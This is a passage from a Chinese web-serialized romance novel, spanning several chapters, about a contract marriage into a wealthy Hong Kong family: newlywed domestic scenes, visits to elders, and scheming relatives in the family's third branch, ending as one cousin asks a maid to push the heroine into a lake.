姜沉鱼都站了大半天了,也没见她休息,还这么精力充沛。 看来是天生的好体格,小时候她们打架,姜沉宁每次都被便宜姐姐打哭。 这女人实力就是这么恐怖。 跟疯子萧砚真是天造地设的一对! * 婚宴结束到九点半,等送完所有宾客,已经十点了,此刻天已经全黑了,庭院里灯火葳蕤。 两家人忙了一天,也都累到疲倦,各自回房休息。 只有萧砚因为集团有事,先回去处理。 文燕蓉今天着实这场婚礼震撼到了,富丽堂皇、香鬟华服,来往的都是港城高官富豪…… 她知道萧家有钱,没想到对姜沉鱼那丫头那么舍得花钱,几千朵的玫瑰说空运就空运了,上万一瓶的红葡萄酒,喝一口都觉得心疼,要是当初没把婚事换回来给姜沉鱼该多好! 文燕蓉又想到她前几天看报纸,某某富豪为红颜知己一掷千金,花费百万港币操办生日宴会,又是送名包又是名表,让人羡慕不已。 而那富豪的红颜知己长相也只是中人之姿,还比不上她的沉宁。 那样女人都能有富豪喜欢,她的沉宁也可以! 再不济,还不能当个情妇外室了? “……” 姜沉鱼一回房就换上了舒适的拖鞋,她跟萧砚的婚房是幢带电梯的小楼,也有上楼的木梯。 红木楼梯上铺了羊毛地毯,卧室双人床上铺了蚕丝喜被,水晶花瓶里插了大把玫瑰花。 王妈早在浴缸里放好了热水跟换洗睡衣,浴室里面有一只白色水门汀的落地浴缸,崭新雪白。 姜沉鱼很喜欢,她进了浴室,点上熏香泡了二十分钟澡,随后换上睡衣,乌黑头发湿漉漉披散在脑后,明艳脸庞被热气熏腾得白里透红。 吴妈送了夜宵过来,鲜肉小馄饨跟刚出锅的桂花糕,都是她爱吃的。 姜沉鱼跟吴妈道谢。 吴妈却笑道,“这都是二少爷吩咐的,少夫人爱吃什么少爷都记在心里。” 吴妈提起萧砚,姜沉鱼鬼使神差想起今天婚礼上那个吻,莫名觉得耳热。 “他还挺细心的。” “二少爷打小就这样。” 对放在心里的人一向看重。 吴妈没有多说话,端着茶杯下楼去了。 姜沉鱼坐在小餐桌边,眯着眸,一口馄饨一口桂花糕,吃的惬意。 宅院中的桂花开得茂盛,姜沉鱼吃完宵夜,漱口,用干净帕子擦了手,冷不丁看到莹白手指上那颗熠熠生辉的五克拉钻戒,想着要不把它跟支票簿、房契、珠宝首饰一起收在保险柜里好了。 萧家大房每人都有独立的保险柜,用来存放珍贵物品。 当然了豪门大户,一个保险柜是不够用的。 萧老太爷为儿女孙辈设立了信托基金,凡是萧家的子孙每个月都能领到一笔不小的舍生活费,保证儿孙衣食无忧。 姜沉鱼不知道的是,从她答应婚约的那一刻起,萧砚就为她设立了一个信托基金,每个月往里面存十万港币。 万一哪天他遭遇不测,有信托里的钱,姜沉鱼也不至于惊慌失措,离了萧家也能过得富足安乐。 豪门生活人人向往,可内里的肮脏龌龊,吃人不吐骨头,他们又能知道多少? 姜沉鱼最终也没有把钻戒收进保险柜。 钻戒虽然贵重,也是必不可少的道具。 以后还要戴着它跟金主大老板一起在众人眼前“演戏”呢。 姜沉鱼累了一天,在栏杆阳台上欣赏了会儿夜景,没多久浓浓睡意涌上了,忍不住就睡着了。 深夜十一点,晚风旖旎,自海边吹来的两海风吹得桂花树簌簌作响。 萧砚池下了车,先去游泳池游了半个小时,才乘电梯回新房。 新房门口白天时候有保镖守护。 夜深了,保镖都退到了院子四周,二十四小时都有专人巡逻。 生叔过来送营养剂,看见新婚第一天晚归又去游泳的萧砚,免不了又开了口。 “……今天少夫人可真是劳累,二十出头的娘姑娘穿了一天高跟鞋,说了一堆话,口渴了为了咱们萧家不丢面儿,愣是等到送完客人才跟吴妈妈要了杯水,晚宴上也没吃几口饭,到十点吃了宵夜还趴在栏杆上等您回来呢。” “二少爷,少夫人是盼着您回来的。” “实在熬不住才睡着了。” 生叔慷慨激昂:“少爷,您要好好待少夫人,她对您可是一片真心啊!” 萧砚:“……” 第22章 第22章感谢订阅 生叔许是上了年纪,平时寡言少语的性格,一开口铿锵有力,说了不少话。 最后还是萧砚“嗯”了声,道“听生叔的”,他才满意离开。 夜色微冷,远处海面起了风,吹得满庭桂花香进了新房。 萧砚池进了卧室,新房平时水晶灯璀璨,此刻只有床头的一盏台灯开着,暖黄的灯光映照着他的脸庞,棱角分明的脸庞在此刻柔和了不少,没有了平日里拒人于千里之外的冷淡疏离。 姜沉鱼一向睡得沉,外头打雷下雨也吵不醒的,卧室进了人兀自睡得香甜 她安安静静的躺在床上,睡颜乖巧柔美,就是睡姿不怎么好,翻身躺在蚕丝软被中,露出纤细嫩白的小腿。 萧砚刚站在床边,姜沉鱼可能觉得冷了,嘟囔两句金主大老板都是周扒皮,让她剥菱角不给手套,翻了个身猫儿样又睡了。 萧砚眉梢抬了抬,顿觉有些好笑,这丫头嘴里的金主大老板,周扒皮是他? “没良心的丫头。” 萧砚笑了笑,附身把姜沉鱼踢到一边的蚕丝被裹得严丝无缝后,抬手弹了弹她饱满的额头。 “哪个讨厌鬼?” “扰人清梦。” 姜沉鱼睡着梦话,吴侬软语,娇软嗓 音带着不满。 萧砚这几天心情好,尤其此刻更是大好,看姜沉鱼睡得香,勾了勾唇,大步离开卧室去了浴室。 萧家客房里,吊灯明亮,姜建军坐在小沙发里看报纸,他刚刚跟萧长章谈笑风生,心情很好,顺便抽了根烟。 港城这边豪门喜欢抽雪茄,姜建军抽不习惯,还是喜欢抽烟比较有味道。 烟雾缭绕中,姜建军撩开手里的报纸,他手里的报纸是萧家佣人专门给他备的内地报纸。 萧家上下都对他尊敬有加,这让姜建军很自得,况且大儿女已经嫁入了萧家,以后就是名正言顺的少夫人,他有了萧家这门姻亲,何愁不能百尺竿头更进一步? 姜沉鱼有了好归宿,姜建军又想起了小女儿姜沉宁,容光焕发的面上色有了几分烦躁。 姜沉宁跟大女儿不一样,姿色平平,头脑冲动,俗话说三岁看老,姜沉宁小时候就是个横冲直撞的性子。 这要是个儿子,放在军营里摔摔打打,粗养着长大说不定能当个军官,也有份自己的前程。 可一个姑娘家,如此莽撞多事,嫁给到哪家也不会得公婆喜欢,成为娘家的助力。 没用的棋子对姜建军来说,就是弃子。 姜沉宁好歹是他女儿,亲生血脉不至于这么冷血,真就弃之不管了。 萧建军喝了口茶,打算回去吩咐笑文燕蓉,让她找户靠谱的人家,把姜沉宁嫁出去得了。 以后怎么样,就是她自己的造化了。 文燕蓉这边,她一门心思想把姜沉宁嫁给到豪门大户去,就算嫁不到萧家这样的顶级豪门,二三流的富豪之家也是可以的。 婚姻就是女儿第二次投胎! 她的女儿不算是金枝玉叶养起来的,那也是精心照顾长大的。 不找户好人家,难道便宜那些在军区大院外面的平头大兵? 文燕蓉自己就是高嫁改命的例子。 她能行,她女儿也可以! 不如先找位人傻钱多的阔少贴上去当外室,以后转正不就成了! * 姜沉鱼一觉睡到七点钟,双人床另一半空空如也,卧室门也关好好的。 她跟萧砚婚约里写得清楚明白,婚后分房睡,直到三年约满。 昨夜又下了场雨,秋雨将庭院中的桂花枝叶冲刷的翠绿欲滴,滴落在路边小径上,溅起一个个小水花。 姜沉鱼起身下床,新房里没人,客厅楼下空空荡荡,安静得只她的脚步声在厅里回荡。 餐桌上没有摆早餐,往常这时候王妈、吴妈早就忙开了。 姜沉鱼担心是不是连日操劳婚礼,把二位累着了,萧家这阵子虽说多雇佣了些保姆、园丁来帮忙,但萧家上下也离不了两位老姆妈。 就说萧砚来说吧,金主大老板讲究多,他一回老宅,其他佣人就不能出现在他面前,送茶倒营养剂是王妈的工作,清扫门窗、室内卫生则由于吴妈负责,萧家事物多,有库房、厨房、前花园、后花园、主楼、客房等等,都需要她们操心打理。 二位老姆妈上了年纪,不累才怪。 姜沉鱼简单梳洗,出了小客厅,路过厨房的时候突然闻到一阵鱼米香气。 她站在门口往前一望。 萧砚穿着件雪白丝身衬衫袖扣,袖口挽起露出结实修长的手臂,整个人清冷俊美,最让人大跌眼睛的是,系了黑色围裙,手里拿着锅铲站在锅灶前,锅里米汤翻滚,香气弥漫。 姜沉鱼:“……” 我是不是眼花了? 平时矜贵冷沉的萧砚居然在洗手作羹汤?! 姜沉鱼觉得肯定是她看错了,迈着梦幻步子打算回床上再躺一会儿。 看来她昨晚也没睡好,都出现幻觉了。 姜沉鱼转身刚要走,萧砚却跟看见了她一样,“起床了?” “粥煮好了在锅里,早饭吃简单些,牛肉汤包跟蛋饺好不好?” 萧砚嗓音低醇好听,要不是那张俊脸跟平常一样面无表情,姜沉鱼都要把他当成亲和邻家大哥哥了。 姜沉鱼跑不掉,恍恍惚惚坐下来。 清晨的霞光从饭厅的落地窗跳进来,萧砚坐在餐桌前,给姜沉鱼盛了一盘牛肉汤包,一碗粥,说:“多吃一点。” 餐桌上的米粥金黄,汤包香溢,姜沉鱼握着雕花银烧勺抿了口粥,看向对面的萧砚,大胆提问,“这些早饭都是你做的?” “粥是我熬的,其他都是王妈一早起床包好的。” “你会煮粥?” “怎么不会?” “我在英国时候,天天面包土豆泥,要么就是吃睁着眼睛的鱼,为了不饿死,只能自己动手下厨。” 姜沉鱼抿嘴忍笑。 萧砚慢条斯理擦了擦手上的水珠,也跟着笑了下,他整个人笼罩在十月的朝阳里,有种别样的温柔。 吃了早饭,家里新来的佣人收拾了碗筷,今天是新婚第一天,按照老规矩,新婚夫妻都要去给家中长辈请安。 萧家老夫人叶秋月去的早,萧老爷子住在三房。 萧砚跟姜沉鱼先去见了萧长章夫妇。 萧长章一身西装,戴黑框眼镜,儒雅文隽,郭玉琴就比他鲜艳多了,苏绣海棠云锦旗袍,高跟鞋,看见儿子儿媳妇顿时喜上眉梢。 “儿子,小鱼。” “爸妈,请喝茶。” “好,喝茶。” 萧长章夫妇各递过来一个红包,“阿砚,小鱼,人生不易,有缘在一起更是不容易,爸妈祝你们并蒂白头,岁月静好,执子之手,与子偕老。” “谢谢爸妈。” 郭玉琴相对于丈夫更加热情,她把儿媳的手放在萧砚手中。 “阿砚,好好对我儿媳妇,最好三年抱俩,添了小宝贝给小茗、甜甜作伴。” “要是你们有了小宝贝,我跟你爸就不回米国了,回来帮你们带孩子,到时候咱们一家子热热闹闹过日子。” 郭玉琴越说越起劲,要不是萧长章在旁边咳嗽两声提醒她,怕是要拉着儿子儿媳说到吃午饭。 看完公婆,小两口又去见姜爷爷跟姜奶奶,姜奶奶见了孙女,眉眼舒展拉着她问东问西。 老太太叮嘱她,一定要多穿衣,港城天气多变,平时要照顾好自己,按时吃饭喝水,嘘寒问暖非常仔细。 萧砚这个外孙女婿则陪着姜爷爷下棋。 一家人其乐融融,没人搭理的姜建军看报纸自得其乐,只有文燕蓉坐立难安,屁股上跟扎了针一样。 “好好的日子,你给我安静点。” 姜建军瞪她。 文燕蓉也是有苦说不出,她花了大价钱请了位红娘,也就是乡下人说的媒婆,让她介绍位阔少给自家女儿。 谁知道姜沉宁一早找不见人了。 她着急上火,生怕找不到女儿,金龟婿跑了,又怕红娘是个骗钱骗人的,想出门又不能出门,憋在心里真是难受,只能道,“我约了朋友去喝茶。” 港城这边茶餐厅遍地,里面坐满了聊天打牌的无业游民。 姜建军最不喜这类游手好闲人物,眼睛都没有抬一下,仍然停在报纸上,随口说道。 “你在港城有什么上台面朋友。” “萧家大宅多体面,有时间逛逛。” 他不允许文燕蓉出门。 这下文燕蓉更急了,嘴角都要起燎泡。 姜沉鱼临走时,笑盈盈睇了眼文燕蓉,自从来了港城,继母几乎天天都在上火。 姜沉鱼乐极生悲,很快遭了报应。 萧砚一路牵着她的手出了大宅,吩咐裴特助去备车,要去三房看萧老爷子。 裴特助应了声,特意奔过来道,手里拿着个红木盒子,“少夫人好。” 姜沉鱼回了他,好奇望向裴特助,“你手里这个盒子?” 说起这个,萧砚笑了下没出声。 裴特助笑容灿烂,“这是集团股东送给总裁跟少夫人的一尊白玉送子观音。” “在中环佛寺里求来的,灵验无比。” “保证少夫人一胎两宝,年年添子。” 姜沉鱼:“………” 第23章 第23章感谢订阅 裴特助妙语连珠,萧砚含笑不语。 姜沉鱼没把催生话语放在心里,却在研究那尊送子观音佛像值多少钱。 白玉的呢,老贵了。 没办法,她天生财迷猫一个,即使成了小富婆,见了华贵值钱物件也习惯性估量下价值。 裴特助看到这一幕,欲言又止,很想给姜沉鱼透个底,心道就总裁给您设立的信托基金,您这辈子都用不完。 萧砚淡淡一个眼风扫过来,裴特助老实闭嘴了。 加长宾利车驶过来,在雕花铁门前稳稳停下。 姜沉鱼跟随萧砚上了车,两人牵着的手总算松开了。 姜沉鱼心下放松,撑着手欣赏沿路风景,下雨天,其实也没什么风景可看,港城的盘山公路,除了树木就是建筑、车辆,钢筋水泥,毫无美感。 旁边坐着萧砚,为了避免尴尬,姜沉鱼还是看得认真。 好在萧砚好似累了般,一上车就阖眼,闭目养神,一直到半山区三房门前,司机恭敬道,“二少爷,到三房了。” 萧砚点点头,外面细雨霏霏,一袭黑色大衣的男人从车上下来,助理在一旁为他撑着伞,黑色伞面完全将他的脸遮挡住,只露出俊美凌厉的侧脸。 外面下雨,姜沉鱼没有伞,在车里想请司机拿把伞过来。 她还没下车呢,萧砚池十分自然开了口。 “雨天湿滑,不介意的话,我们一起过去。” 姜沉鱼看了看雨水打湿的雨花石路面,脚下踩着七分高跟鞋,到底没抗拒,抿唇道谢,由他牵着往里走。 “萧太太客气。” 萧砚嗓音清朗,握住了姜沉鱼嫩白手心。 男人的手掌宽厚温热,手指修长有力,萧砚虚虚握着姜沉鱼的指尖,大手撑着伞遮住她的头顶,以防淋雨。 不知道为什么,一向不喜欢潮湿的姜沉鱼觉得雨天也可以很旖旎。 萧家三房不同于老宅如庄园般占地面积大,建筑繁多,三房宅子是处花园洋房,高高的墙面爬满了蔷薇藤蔓,据说三太邓颖梅年轻时候格外喜欢蔷薇,萧老爷子金屋藏娇,购置了这幢房产。 后来就成了三房一家人的居所。 老管家承叔早早带人等在外面,立马走过来迎接。 “二少爷,二少夫人。” “承叔。” “二少爷,老太爷一大早就念叨少爷跟少夫人了。” 承叔在前面带路,其实主要是给姜沉鱼带路,大理石铺陈的小径,小径两旁是高大的悬铃木,树叶浓绿浓碧,花圃里栽满了大片玫瑰花,蔫头蔫脑十分没有生机的样子。 那是三太得知大房婚礼上空运了数千朵玫瑰,想着她跟着老爷子几十年没个酒席,心里不平衡请人移植的。 萧砚跟姜沉鱼看到玫瑰花圃,皆是面色平静,好似不在意模样。 只有裴特助气不过,撑着伞在后面碎碎念,“这老阿妈,一把年纪了还东施效颦,真不知羞。” 三房客厅里,围着披肩喝红茶的三太打了个喷嚏,好好的红茶洒在了地毯上,邓颖梅心气不顺,张口喊佣人。 “桂妈!” “跑哪去了?!” “红茶撒了快来清扫!” “来了,太太。” 在三楼打扫浴室的桂妈小心翼翼跑过来,拿着工具打扫。 三房客厅装修豪华,昂贵的全羊毛地毯,一水儿的意大利进口家具,描金彩绘茶杯,往常这时候,邓颖梅早打电话请几位太太来,让两个儿媳妇陪同,坐在一起打麻将了。 今天麻将是别想了。 自从大房传出婚讯开始,三房倒霉事一件接着一件,先是萧长昌、萧长堂兄弟俩赌博妈赔钱了一大笔钱,被老爷子发现抽了一顿,现在走路还不利索。 接着就是三房小辈出了事。 邓颖梅有两个孙女一个孙子,大儿子萧长昌有一个一女,长子萧景,二十二岁,读书不错,现在在国外留学,是三房的骄傲,二女儿萧佳怡婉约恭顺,也得长辈喜爱,就是萧长堂的女儿萧佳敏,好好的大学不念,非要去考什么电影学院,闹得家三房鸡飞狗跳。 三太邓颖梅花想起这个孙女就闹心。 好好的大家千金哪有自甘堕落跑去当戏子的? 邓颖梅虽是萧老太爷的妾室,到底出身大家族,旧时戏子和歌女、舞女,都是低贱的营生,再加上二太钟莉以前常穿着青衣的戏服,在老爷子面前咿咿呀呀,声调婉转唱《谢瑶环》同她争宠。 三太怎么也不能容忍自己亲孙女沦落成跟钟莉一样下贱的人。 * 细雨朦胧,姜沉鱼他们跟着承叔绕过两处前院,走过一处湖泊凉亭,才到萧老爷子的小楼前。 萧老爷子喜园林建筑,后花园也修建得颇为精心,洞庭湖波,走廊曲折蜿蜒,远远看上去是一副静墨山水画。 萧老太爷住的小楼装修古典,檀木屏风,玉石摆件,无一不精致值钱。 萧砚他们进门的时候,老爷子正在喝乌鸡汤。 “爷爷,爷爷早上好。” “好,这么早就来看我老头子,你们小两口怎么不多睡会?” “在家睡不着,不如早点来看爷爷。” “爷爷,阿砚惦记您,一早就让厨房新做了您爱吃的点心。” 萧砚提了一盒子钵仔糕跟奶提子蛋糕递过来,姜沉鱼在旁边扮作乖巧,夫妻俩把老爷子哄得很开怀。 萧老爷子脸上的褶子都舒展了,人老了,没有什么比孙辈关心更让人开心的,一双浑浊的鹰眼充盈着欣喜,“好,阿承,收下!” “是。” 承叔也为老爷子高兴。 萧老太爷这个人心情一好,就想大撒钱财,年轻时候没少干豪掷千金为红颜的事。 现在上了年纪,身边的红颜也成了老婆子。 老爷子开始给小辈花钱,萧砚不用给他钱,这小子比老子都有钱。 萧老爷子满腔慈爱就给了孙媳妇,又想起愧对多年的发妻,脸上多了几分颓态。 “阿砚,带着小鱼去佛堂给你奶奶上柱香。” “好。” 小楼后面有个小佛堂,说是小佛堂,占地面积却不小,蒲团、香炉和供花,静谧澹泊,供奉着一尊白玉观音,香案上摆满瓜果供品,面前摆了两个蒲团。 佛堂里常年香火不灭,佛香袅袅。 香案前摆着叶秋月跟长孙、长媳的照片,照片都裱了黑框,照片上亲人依旧,现实却是物是人非。 照片前,摆放了小巧的白玉香炉,插在香炉里的檀香即将燃烧殆尽。 淡淡的烟雾,袅袅往上升腾,模糊了萧砚英俊的眉眼,他站着没动,姜沉鱼也站着没动。 二人静立片刻,香炉里面的檀香静静燃烧,快要消灭时,萧砚重新点燃了三根檀香,插进香炉,牵过姜沉鱼的手,一起跪在蒲团上。 姜沉鱼听见他低柔的嗓音。 “小鱼,给祖母、大哥大嫂他们磕个头。” 姜沉鱼点点头,生者对于逝者总是充满怀念跟敬意的,她跪在蒲团前,双手合十,对着慈眉善目的叶老夫人拜了三拜,跟着念了三声阿弥陀佛。 她不知道,自己念阿弥陀佛的时候,萧砚池温柔目光一直落在她身上。 萧老太爷听闻不住点头,欣慰不已,让老管家承叔叔开了库房,送了条翡翠碧碧玺佛珠来。 佛珠用朱漆描海棠花的装着,一打开,姜沉鱼打量了一眼就知道价值不菲。 这佛珠水头翠绿跟她手腕上的帝王绿翡翠手镯一样,宛如湖波荡漾。 “承叔,这太贵重了。” 姜沉鱼下意识拒绝。 “少夫人,老太爷送出来的礼就没有收回来的。” 萧砚走过来,大掌堪堪握住她腰侧,二人在老太爷面前扮恩爱。 “怎么回事?” “爷爷送的礼太重了。” 姜沉鱼有些为难。 萧砚笑了笑,“给你就收下。” “行叭。” 姜沉鱼接过锦盒,打算回去焚香拜佛,把佛珠供奉起来,免得她这个俗人薄待了老爷子赐的礼物 。 姜沉鱼都打算好了,佛珠暂时在她手里寄放,等三年后跟萧砚池离婚了,再把佛珠换回来。 * 三房这边一池污水,几个太太小姐都有自己的眼线。 萧老爷子送了翡翠佛珠给姜沉鱼的消息传得飞快。 三太邓颖梅知道了,到没说什么,反正不是她的东西,老爷子爱给谁给谁。 三房两个儿媳妇可就炸锅了,家里谁不知道老爷,老爷子私藏丰厚,在他的保险箱里,存放了很多珍宝,金银翡翠都不算什么,多的是地契、房契、金条、股票、英镑和债券 老爷子出手大方,明面上送了条翡翠佛珠给姜沉鱼,暗地里谁知道大房又捞了什么好处。 再说了,那条佛珠也不是凡品,放在市面上价值六七位数呢。 老爷子动动手就给送出去了,他老人家不心疼,她们心疼! 三房这阵子日子不好过,眼瞅着要变天了,两位太太想去外面逛逛买皮草、珠宝都要跟三太张口,这会儿听说一个大陆妹得了大好处,心里都不服气,相约着打扮起来,打算以为长辈的身份去会会大房新娶进门的骄女。 给她个下马威! 第24章 第24章感谢订阅 三房两个儿媳妇惯会仗势欺人,二太太稍好一些,她只是脾气急,脾气走了气儿也就顺了。 大太太表面柔善,内里阴狠,要是家里的佣人服侍不周到,一准没有好下场。 三房以前有个老阿妈叫英姑,跟在三太邓颖梅身边二十来年,很得信任,就因为送燕窝的时候,不小心烫了大太太一下,就被设计惹怒了萧长昌。 某天深夜,萧长昌从公司回来,英姑给大太太熬鸡汤去开门晚了些。 大太太不知道跟他说了什么。 英姑送鸡汤过去,被萧长昌重重踹了一脚,“该死的老鬼婆,太太的话你敢不听,难不成想造反?” 英姑快五十岁了,萧长昌正值壮年,穿着宽头皮鞋,一脚下去踹断了她两根肋骨。 肋骨断了喘气都疼。 三太邓颖梅给了不可能为了佣人责骂儿子,给了英姑药费跟一笔营养费。 英姑原本想养好身子再回来工作的,大太太找了几个古惑仔把英姑卖鱼的丈夫打了一顿,从此之后,英姑就辞工不做,失去了音信。 后来,在三太跟前伺候的,换成了大太太心腹桂妈。 当然了,二太太是不知道桂妈是老大那边的人,她若是知道了,早就闹起来了。 平时大太太二太太面和心不和,这会儿妯娌俩倒是团结一致,想给姜沉鱼一个下马威。 大太太穿着云锦旗袍,二太太则换了洋装,喊了萧佳怡、萧佳敏一同去小楼。 萧佳怡恬静温柔,母亲跟二伯母讲什么她都照做。 萧佳敏有些不耐烦,“大房的孙媳妇,咱们三房去凑什么热闹?” “你这孩子,平时就不往老爷子跟前去,往后能有什么好前途?” 二太太罗美珠很为女儿操心,她出身不算很好,老豆是靠股票、黄金发家的暴发户,跟萧家这种三代豪门来说,差得不是一星半点。 当年三太邓颖梅看中了罗家老豆“股神”的称号,才同意萧长堂娶罗美珠进门。 罗美珠嫁进豪门,没有生出儿子,只有一个女儿。 在三太跟前受委屈,一门心思盼望女儿萧佳敏嫁个乘龙快婿,让她扬眉吐气。 可惜,萧佳敏性子爽利,最不喜豪勾心斗角般的社交,二太太屡次让她学学交际,在家里举办宴会,拓展人脉都被一口否决。 萧佳敏觉得自己不缺钱,外公是玩股票的,每日日进斗金,给外孙女备了份丰厚嫁妆,再说萧家子孙每个月都能从信托基金里领生活费,她有底气过好生活,将来就不会嫁给那些风流成性的豪门少爷,更不愿意跟港城那群虚伪做作的千金玩到一起。 女儿不听劝,二太太欲要再说。 “妈咪,你啰嗦什么?” 萧佳敏直接堵了回去。 二太太气个仰倒。 “你这孩子” “佳敏,伯娘也是为你好,咱们一起去见阿公。” 萧佳怡一袭淡紫色纱裙,笑容恬静,眸色绵软,出来打圆场。 女儿落落大方,说话得体,大太太嘴角翘起,很是自得。 二太太冷笑。 萧佳敏却跟见了瘟疫一样,往后退了两步。 “你离我远点。” “谁要跟你去见阿公。” “黄鼠狼给拜年不安好心。” “从小你给我挖了多少坑,谁知道你葫芦里卖的什么药。” 萧佳敏说话毫不客气,大太太母女俩脸上的笑意快要维持不住。 “哎呀,大嫂你莫怪佳敏,这孩子自小不会讲话,咱们做长辈的多包涵。” 二太太笑容满面,心里畅快的不得了,大太太这对母女就是两条吐信子的美女蛇,狡诈恶毒又阴险,惯会装模作样给人下套。 “哪里,我做长辈的怎么会跟佳敏计较。” 大太太太皮笑肉不笑。 萧佳怡眸子里浮上一层水光,“佳敏,我没想到你对我误会如此深。” “咱们是姐妹,真有什么误会,我可以解释”萧佳怡楚楚可怜,萧佳敏挥挥手,懒得跟她虚与委蛇,“没有误会,不用解释,我就是不喜欢跟你说话而已。” 萧佳怡:“” 这个简单粗暴的蠢货,说这些话让她怎么演下去? 因为萧嘉敏的不配合,三房刚组建的恐吓姜沉鱼下马威联盟直接土崩瓦解。 萧佳敏就是个滚刀肉,在三房除了萧老爷子能镇住,其他人都拿她没办法。 大太太柳眉竖起,带着萧佳怡回了小洋楼。 二太太心情好,只不痛不痒念叨了两句,萧佳敏吃着点心看武侠小说,左耳进右耳出,嗯嗯两句算是答应了。 佣人来报,有平时交好的阔太打电话来邀请二太太去打牌。 一说起打牌,二太太便眉飞色舞,披了披肩拎着皮包就乘车出了门。 萧佳敏吃完点心,觉得无聊,起身拍拍手溜出门,打算去看看冷面煞神新娶的美娇娘。 冷面煞神是萧佳敏偷偷给堂哥萧砚取的外号。 萧砚池自小深沉冷漠,手段狠戾,萧思敏见了他就跟老鼠见了猫一样。 就算这样,也抵挡不住萧思敏的好奇心。 能嫁给煞神堂哥的也不是一般人啊! * 三房后院小楼,萧老爷子住处后面还有座老式院落,琉璃瓦房顶,花棂玻璃窗户,红木雕花家具,陈设古朴,四周环绕着湖波,碧波荡漾,美不胜收。 姜沉鱼听老管家承叔提及,院落内专门建了一间玻璃房,是给萧老爷子冬日晒太阳午睡的。 萧老爷子看孙媳好奇,捋胡子笑了笑。 “阿砚带你媳妇去后院逛逛。” “玻璃房外紫荆花开了,你们新婚燕尔也去赏赏花。” 今年港城的秋景很好,后院玻璃房四面都安了宽大的落地玻璃窗,里面还有很舒服的沙发可以坐,惬意得很。 姜沉鱼心向往之,还是要跟金主大老板征求意见。 “爷爷说我们可以去玻璃房那看紫荆花。” 看紫荆花是假,想去玻璃房躺平才是真。 “你想不想去看看?” 姜沉鱼问萧砚,初秋的阳光洒下来,把她一双潋滟美眸勾勒得越发妩媚。 萧砚看穿某人的小心思,没有道破,薄唇微勾起。 “你想去?” “嗯嗯。” 姜沉鱼眼含期待。 萧砚眼角有淡淡笑意,“那就一起去。” “好。” 为了不让萧老太爷看出什么,萧砚过来牵她的手,姜沉鱼也听话给牵了。 玻璃房距离小楼有点距离,承叔在前面带路,三人走了几分钟的路。 萧砚双腿修长,走路一向快,为了照顾腿短的姜沉鱼,特意放慢了脚步。 裴特助在后面吃狗粮,还跑过来笑。 “总裁真是贴心,知道少夫人腿短,走得比平时慢了不少呢。” 姜沉鱼:“” 她腿不短好吗? 那是某人太高了!! 裴特助因为说错话,被打发去帮园丁老伯清扫 院子。 玻璃房前是一条很长的抄手走廊,走廊两侧栽种了翠绿的竹林,秋风袭来,竹林摇曳很有意境。 玻璃房内,满屋花梨木的家具,桌椅打磨得光滑,天鹅绒沙发四角包了黄铜,姜沉鱼一坐下去就不想挪位置了,实在是太舒服了。 女佣送了蛋糕跟牛乳茶来,姜沉鱼寻了个最舒服的姿势,一边吃蛋糕一边晒太阳,落在萧砚眼里十足像只慵懒猫咪。 萧砚陪着她坐了会儿,一通电话打过来,又去忙工作了。 临走前,萧老爷子留姜沉鱼吃午饭。 萧砚同意了,不动声色望过来,姜沉鱼拿小勺子吃蛋糕,粉润柔嫩樱唇透着艳丽。 她问:“有事?” “无事,集团有些事务需要处理。” “那就去吧。” 姜沉鱼很是善解人意。 “处理完事务,很快就来接你。” 萧砚不放心姜沉鱼一个人在三房,临走前留了两个保镖,还给她配了一辆车和一个司机。 这阵势好似三房有什么妖魔鬼怪一样,萧老爷子笑骂,“兔崽子,小鱼是萧家孙媳妇,有老子在,谁胆子长毛敢害小鱼!” 承叔在一旁笑,“二少爷对少夫人有心,这是好事。” “算这小子有眼光。” 萧老爷子有个毛病就是护犊子,越是喜欢的晚辈越是护着。 要是孙子真对孙媳妇不好,怕是少不了一顿鞭子。 姜沉鱼送走萧砚,又回了玻璃房懒洋洋窝在沙发上看杂志。 萧砚留下的两个保镖,寸步不离站在门口守护着少夫人。 别问,问就是总裁吩咐的。 姜沉鱼斜斜依靠着沙发背,漫不经心翻阅杂志,窈窕纤细的身体懒懒坐着,却尤见玲珑婀娜的身段,细碎的阳光落在她眉眼上,衬托得面颊似玉、肤白胜雪,洁白手腕上的帝王绿翡翠手镯宛如一汪碧泉。 三房的佣人不时进出,一会儿送瓜果,一会儿送甜点。 姜沉鱼应付得体,身后还跟着两个黑衣保镖,跟真正的豪门贵女也不差什么。 萧佳怡在楼梯口看到这一幕,忍不住咬住了唇。 这个大陆妹无非是漂亮妩媚一点,有张好脸蛋而已,凭什么在三房如此风光。 不对,这个大陆妹还有个好家世,开国少将的孙女,连她父亲也不能说什么不好听的话。 不然怎么嫁到萧家大房去的? 萧佳怡想起老爷子明里暗里敲打,让他们安分些,别生事。 可她到底看不惯姜沉鱼比她过得好。 有些事根本不用她自己动手的。 萧佳怡静站了片刻,见姜沉鱼起身出了玻璃房往湖边去了,看样子是要去走一走。 她眼眸微闪,招来个在花园里浇花的女佣。 第25章 第25章感谢订阅 在花园里干活的女佣二十出头模样,穿着青色碎花斜襟短衫,青色裤子,绣花的布鞋,梳着一条又长又黑的辫子,打扮的跟四五十老阿妈一样。 这是三太邓颖梅定下的规矩,三房女佣打扮老气,不能穿露腿的裙子,也不能化妆喷香水。 年轻的时候防止萧老爷子有外心,让狐狸精勾去,等上了年纪,就是两个儿媳妇防儿子了。 年轻女佣叫阿秋,家住九龙石硖尾邨,也就是公屋,一家七口人挤在两个小房间里,打个喷嚏都能听得一清二楚。 阿秋有个弟弟,读书特别争气,去年考入了港大中文系,一家人都很高兴,觉得生活有了曙光,更加卖力做工。 阿秋阿爸干苦力,阿妈卖菜卖鱼,弟弟妹妹读书,阿秋就出来当佣人。 去年阿秋来了三房女佣,时常会去二太太那里打扫卫生,萧佳怡每个月给她二百块钱,相当于大半个月的薪水。 阿秋就成了她的眼线,有时候也会帮着做一些不能见光的事情,比如趁人不注意,把佳敏小姐的靴子划一下,再不就是给二太太心爱的波斯猫喂不干净的猫粮 总归都是些鸡毛蒜皮,无关紧要的事情。 至少阿秋是这么认为的,她脚上的绣鞋一穿大半年,破了洞就拿针绣上去,刷干净照样穿。 公屋四周经常有流浪猫、流浪狗经过,好心阿婆喂一餐剩馊饭,那些流浪猫、流浪狗也吃的很香。 因此萧佳怡让她做的这些事,阿秋都不觉得有什么。 阿秋的成长环境造就了她的认知。 这次阿秋以为佳怡小姐又让她去给二太太她们添堵,萧佳怡一开口,阿秋吓得一抖。 “佳怡小姐,这个我是不能做的。” 阿秋脸色发白,佳怡小姐吩咐她四下无人的时候,跟在大房二少夫人身后,将她推到湖里去。 阿秋知道这是害人性命,闹不好自己也没命了。 